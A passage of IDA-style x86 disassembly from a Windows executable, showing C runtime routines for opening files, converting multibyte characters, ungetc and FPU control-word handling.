loc_4316C4:				; CODE XREF: sub_4314E0+1A0j
					; sub_4314E0+1A9j ...
		mov	[ebp+var_28], 80h
		mov	edx, [ebp+arg_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_431715
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 4
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx-4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], 0
		mov	ecx, dword_4F33B4
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		and	edx, 80h
		test	edx, edx
		jnz	short loc_431715
		mov	[ebp+var_28], 1

loc_431715:				; CODE XREF: sub_4314E0+1F6j
					; sub_4314E0+22Cj
		mov	eax, [ebp+arg_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_431737
		mov	ecx, [ebp+var_28]
		or	ecx, 4000000h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_34]
		or	edx, 10000h
		mov	[ebp+var_34], edx

loc_431737:				; CODE XREF: sub_4314E0+23Dj
		mov	eax, [ebp+arg_4]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_43174C
		mov	ecx, [ebp+var_28]
		or	ch, 1
		mov	[ebp+var_28], ecx

loc_43174C:				; CODE XREF: sub_4314E0+261j
		mov	edx, [ebp+arg_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_431763
		mov	eax, [ebp+var_28]
		or	eax, 8000000h
		mov	[ebp+var_28], eax
		jmp	short loc_431779
; ---------------------------------------------------------------------------

loc_431763:				; CODE XREF: sub_4314E0+274j
		mov	ecx, [ebp+arg_4]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_431779
		mov	edx, [ebp+var_28]
		or	edx, 10000000h
		mov	[ebp+var_28], edx

loc_431779:				; CODE XREF: sub_4314E0+281j
					; sub_4314E0+28Bj
		call	sub_430B60
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4317A5
		call	sub_429A90
		mov	dword ptr [eax], 18h
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_4317A5:				; CODE XREF: sub_4314E0+2A5j
		push	0
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_34]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F53C0	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_4317F1
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		call	sub_4299F0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_431100
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_4317F1:				; CODE XREF: sub_4314E0+2ECj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4F5314	; GetFileType
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_431831
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4F533C	; CloseHandle
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		call	sub_4299F0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_431100
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_431831:				; CODE XREF: sub_4314E0+322j
		cmp	[ebp+var_C], 2
		jnz	short loc_431842
		mov	cl, [ebp+var_38]
		or	cl, 40h
		mov	[ebp+var_38], cl
		jmp	short loc_431851
; ---------------------------------------------------------------------------

loc_431842:				; CODE XREF: sub_4314E0+355j
		cmp	[ebp+var_C], 3
		jnz	short loc_431851
		mov	dl, [ebp+var_38]
		or	dl, 8
		mov	[ebp+var_38], dl

loc_431851:				; CODE XREF: sub_4314E0+360j
					; sub_4314E0+366j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_430D50
		add	esp, 8
		mov	dl, [ebp+var_38]
		or	dl, 1
		mov	[ebp+var_38], dl
		mov	eax, [ebp+var_14]
		sar	eax, 5
		mov	ecx, [ebp+var_14]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	al, [ebp+var_38]
		mov	[edx+ecx+4], al
		movsx	ecx, [ebp+var_38]
		and	ecx, 48h
		test	ecx, ecx
		jnz	loc_43198F
		movsx	edx, [ebp+var_38]
		and	edx, 80h
		test	edx, edx
		jz	loc_43198F
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	loc_43198F
		push	2
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42E570
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_431901
		call	sub_429AA0
		cmp	dword ptr [eax], 83h
		jz	short loc_4318FC
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_422CB0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_431100
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_4318FC:				; CODE XREF: sub_4314E0+3FAj
		jmp	loc_43198F
; ---------------------------------------------------------------------------

loc_431901:				; CODE XREF: sub_4314E0+3EDj
		mov	[ebp+var_30], 0
		push	1
		lea	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_427380
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_431959
		movsx	eax, [ebp+var_30]
		cmp	eax, 1Ah
		jnz	short loc_431959
		mov	ecx, [ebp+var_3C]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_435EC0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431959
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_422CB0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_431100
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4319EA
; ---------------------------------------------------------------------------

loc_431959:				; CODE XREF: sub_4314E0+439j
					; sub_4314E0+442j ...
		push	0
		push	0
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_42E570
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_43198F
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_422CB0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_431100
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_4319EA
; ---------------------------------------------------------------------------

loc_43198F:				; CODE XREF: sub_4314E0+3B0j
					; sub_4314E0+3C2j ...
		movsx	edx, [ebp+var_38]
		and	edx, 48h
		test	edx, edx
		jnz	short loc_4319DB
		mov	eax, [ebp+arg_4]
		and	eax, 8
		test	eax, eax
		jz	short loc_4319DB
		mov	ecx, [ebp+var_14]
		sar	ecx, 5
		mov	edx, [ebp+var_14]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 20h
		mov	edx, [ebp+var_14]
		sar	edx, 5
		mov	eax, [ebp+var_14]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4F3780[edx*4]
		mov	[edx+eax+4], cl

loc_4319DB:				; CODE XREF: sub_4314E0+4B8j
					; sub_4314E0+4C2j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp+var_14]

loc_4319EA:				; CODE XREF: sub_4314E0+C2j
					; sub_4314E0+12Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4314E0	endp

; ---------------------------------------------------------------------------
off_4319EE	dd offset loc_4315CE	; DATA XREF: sub_4314E0+E7r
		dd offset loc_4315D7
		dd offset loc_4315E0
		dd offset loc_4315E9
		dd offset loc_4315F2
byte_431A02	db 0			; DATA XREF: sub_4314E0+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A40	proc near		; CODE XREF: sub_427CE0+127p
					; sub_429C90+40p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jb	short loc_431A52
		xor	eax, eax
		jmp	short loc_431A70
; ---------------------------------------------------------------------------

loc_431A52:				; CODE XREF: sub_431A40+Cj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	eax, byte ptr [eax+edx+4]
		and	eax, 40h

loc_431A70:				; CODE XREF: sub_431A40+10j
		pop	ebp
		retn
sub_431A40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_427F60+3CAp
					; sub_427F60+B90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_431AB8
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_431ABF
; ---------------------------------------------------------------------------

loc_431AB8:				; CODE XREF: sub_431A80+18j
		mov	[ebp+var_4], 0

loc_431ABF:				; CODE XREF: sub_431A80+36j
		mov	ax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431B00
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_431AE5
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_431AF0
; ---------------------------------------------------------------------------

loc_431AE5:				; CODE XREF: sub_431A80+57j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_431AF0:				; CODE XREF: sub_431A80+63j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_431A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B00	proc near		; CODE XREF: sub_431A80+48p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_431B13
		xor	eax, eax
		jmp	loc_431B9C
; ---------------------------------------------------------------------------

loc_431B13:				; CODE XREF: sub_431B00+Aj
		cmp	dword_4F34B8, 0
		jnz	short loc_431B4A
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 0FFh
		jle	short loc_431B3B
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_431B9C
; ---------------------------------------------------------------------------

loc_431B3B:				; CODE XREF: sub_431B00+29j
		mov	ecx, [ebp+arg_0]
		mov	dl, byte ptr [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, 1
		jmp	short loc_431B9C
; ---------------------------------------------------------------------------

loc_431B4A:				; CODE XREF: sub_431B00+1Aj
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, dword_453EB0
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	220h
		mov	ecx, dword_4F34C8
		push	ecx
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_431B89
		cmp	[ebp+var_8], 0
		jz	short loc_431B99

loc_431B89:				; CODE XREF: sub_431B00+81j
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_431B9C
; ---------------------------------------------------------------------------

loc_431B99:				; CODE XREF: sub_431B00+87j
		mov	eax, [ebp+var_4]

loc_431B9C:				; CODE XREF: sub_431B00+Ej
					; sub_431B00+39j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431B00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431BA0	proc near		; CODE XREF: sub_429E90+74Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_431BD8
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_431BDF
; ---------------------------------------------------------------------------

loc_431BD8:				; CODE XREF: sub_431BA0+18j
		mov	[ebp+var_4], 0

loc_431BDF:				; CODE XREF: sub_431BA0+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431C20
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_431C08
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_431C13
; ---------------------------------------------------------------------------

loc_431C08:				; CODE XREF: sub_431BA0+5Aj
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_431C13:				; CODE XREF: sub_431BA0+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431C20	proc near		; CODE XREF: sub_431BA0+4Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi

loc_431C26:				; CODE XREF: sub_431C20+3Aj
		cmp	dword_453EB0, 1
		jz	short loc_431C56
		cmp	dword_453EB0, 2
		jz	short loc_431C56
		push	offset aMb_cur_max1Mb_ ; "MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"
		push	0
		push	4Fh
		push	offset dword_43D790
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_431C56
		int	3		; Trap to Debugger

loc_431C56:				; CODE XREF: sub_431C20+Dj
					; sub_431C20+16j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_431C26
		cmp	[ebp+arg_4], 0
		jz	short loc_431C68
		cmp	[ebp+arg_8], 0
		jnz	short loc_431C6F

loc_431C68:				; CODE XREF: sub_431C20+40j
		xor	eax, eax
		jmp	loc_431D79
; ---------------------------------------------------------------------------

loc_431C6F:				; CODE XREF: sub_431C20+46j
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_431C8E
		cmp	[ebp+arg_0], 0
		jz	short loc_431C87
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax],	0

loc_431C87:				; CODE XREF: sub_431C20+5Dj
		xor	eax, eax
		jmp	loc_431D79
; ---------------------------------------------------------------------------

loc_431C8E:				; CODE XREF: sub_431C20+57j
		cmp	dword_4F34B8, 0
		jnz	short loc_431CB4
		cmp	[ebp+arg_0], 0
		jz	short loc_431CAA
		mov	ecx, [ebp+arg_4]
		movzx	dx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		mov	[eax], dx

loc_431CAA:				; CODE XREF: sub_431C20+7Bj
		mov	eax, 1
		jmp	loc_431D79
; ---------------------------------------------------------------------------

loc_431CB4:				; CODE XREF: sub_431C20+75j
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_431D3D
		cmp	dword_453EB0, 1
		jle	short loc_431D10
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_453EB0
		jl	short loc_431D10
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setnz	al
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, dword_453EB0
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		push	9
		mov	ecx, dword_4F34C8
		push	ecx
		call	dword_4F5454	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_431D36

loc_431D10:				; CODE XREF: sub_431C20+B7j
					; sub_431C20+C2j
		mov	edx, [ebp+arg_8]
		cmp	edx, dword_453EB0
		jb	short loc_431D26
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+1]
		test	ecx, ecx
		jnz	short loc_431D36

loc_431D26:				; CODE XREF: sub_431C20+F9j
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_431D79
; ---------------------------------------------------------------------------

loc_431D36:				; CODE XREF: sub_431C20+EEj
					; sub_431C20+104j
		mov	eax, dword_453EB0
		jmp	short loc_431D79
; ---------------------------------------------------------------------------

loc_431D3D:				; CODE XREF: sub_431C20+AEj
		xor	edx, edx
		cmp	[ebp+arg_0], 0
		setnz	dl
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	9
		mov	edx, dword_4F34C8
		push	edx
		call	dword_4F5454	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_431D74
		call	sub_429A90
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_431D79
; ---------------------------------------------------------------------------

loc_431D74:				; CODE XREF: sub_431C20+142j
		mov	eax, 1

loc_431D79:				; CODE XREF: sub_431C20+4Aj
					; sub_431C20+69j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_431C20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_429E90+9D7p
					; sub_429E90+A65p ...
		cmp	cl, 40h
		jnb	short loc_431D9A
		cmp	cl, 20h
		jnb	short loc_431D90
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_431D90:				; CODE XREF: sub_431D80+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_431D9A:				; CODE XREF: sub_431D80+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_431DA7:				; CODE XREF: .packed:00431DCFj
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_431DCB
		push	offset dword_43C504
		push	0
		push	31h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_431DCB
		int	3		; Trap to Debugger

loc_431DCB:				; CODE XREF: .packed:00431DABj
					; .packed:00431DC8j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_431DA7
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_422420
		add	esp, 4
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_431E10
		add	esp, 8
		mov	[ebp-4], eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431E10	proc near		; CODE XREF: sub_42B330+11p
					; .packed:00431DE5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi

loc_431E17:				; CODE XREF: sub_431E10+2Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_431E3B
		push	offset dword_43C514
		push	0
		push	60h
		push	offset aUngetc_c ; "ungetc.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_431E3B
		int	3		; Trap to Debugger

loc_431E3B:				; CODE XREF: sub_431E10+Bj
					; sub_431E10+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_431E17
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_431E77
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jnz	short loc_431E7F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_431E77
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_431E7F

loc_431E77:				; CODE XREF: sub_431E10+3Bj
					; sub_431E10+58j
		or	eax, 0FFFFFFFFh
		jmp	loc_431F47
; ---------------------------------------------------------------------------

loc_431E7F:				; CODE XREF: sub_431E10+48j
					; sub_431E10+65j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_431E94
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4313D0
		add	esp, 4

loc_431E94:				; CODE XREF: sub_431E10+76j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx]
		cmp	eax, [edx+8]
		jnz	short loc_431EBF
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_431EB2
		or	eax, 0FFFFFFFFh
		jmp	loc_431F47
; ---------------------------------------------------------------------------

loc_431EB2:				; CODE XREF: sub_431E10+98j
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax

loc_431EBF:				; CODE XREF: sub_431E10+8Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 40h
		test	eax, eax
		jz	short loc_431EFD
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte ptr [ebp+arg_0]
		cmp	eax, ecx
		jz	short loc_431EFB
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_431F47
; ---------------------------------------------------------------------------

loc_431EFB:				; CODE XREF: sub_431E10+D7j
		jmp	short loc_431F14
; ---------------------------------------------------------------------------

loc_431EFD:				; CODE XREF: sub_431E10+BAj
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl

loc_431F14:				; CODE XREF: sub_431E10:loc_431EFBj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	al, 0EFh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh

loc_431F47:				; CODE XREF: sub_431E10+6Aj
					; sub_431E10+9Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_431E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431F50	proc near		; CODE XREF: sub_42BE60+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_431F50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	word ptr [ebp-4]
		mov	ax, [ebp-4]
		push	eax
		call	sub_432350
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	word ptr [ebp-4]
		fnclex
		mov	ax, [ebp-4]
		push	eax
		call	sub_432350
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431FA0	proc near		; CODE XREF: sub_431FF0+10p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_10]
		mov	ax, [ebp+var_10]
		push	eax
		call	sub_432070
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		not	edx
		mov	eax, [ebp+var_8]
		and	eax, edx
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4321F0
		add	esp, 4
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_431FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431FF0	proc near		; CODE XREF: sub_42C3B0+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431FA0
		add	esp, 8
		pop	ebp
		retn
sub_431FF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	sub_430A90
		mov	eax, [eax]
		mov	[ebp-4], eax
		fninit
		call	sub_42C3B0
		cmp	dword ptr [ebp-4], 0
		jz	short loc_432061
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [edx]
		and	eax, 10008h
		test	eax, eax
		jz	short loc_432061
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		add	edx, 1Ch
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+8], 0FFFFh

loc_432061:				; CODE XREF: .packed:0043202Ej
					; .packed:0043203Fj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432070	proc near		; CODE XREF: sub_431FA0+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_432095
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx

loc_432095:				; CODE XREF: sub_432070+1Aj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_4320AD
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax

loc_4320AD:				; CODE XREF: sub_432070+33j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4320C6
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx

loc_4320C6:				; CODE XREF: sub_432070+4Bj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_4320DE
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx

loc_4320DE:				; CODE XREF: sub_432070+63j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_4320F6
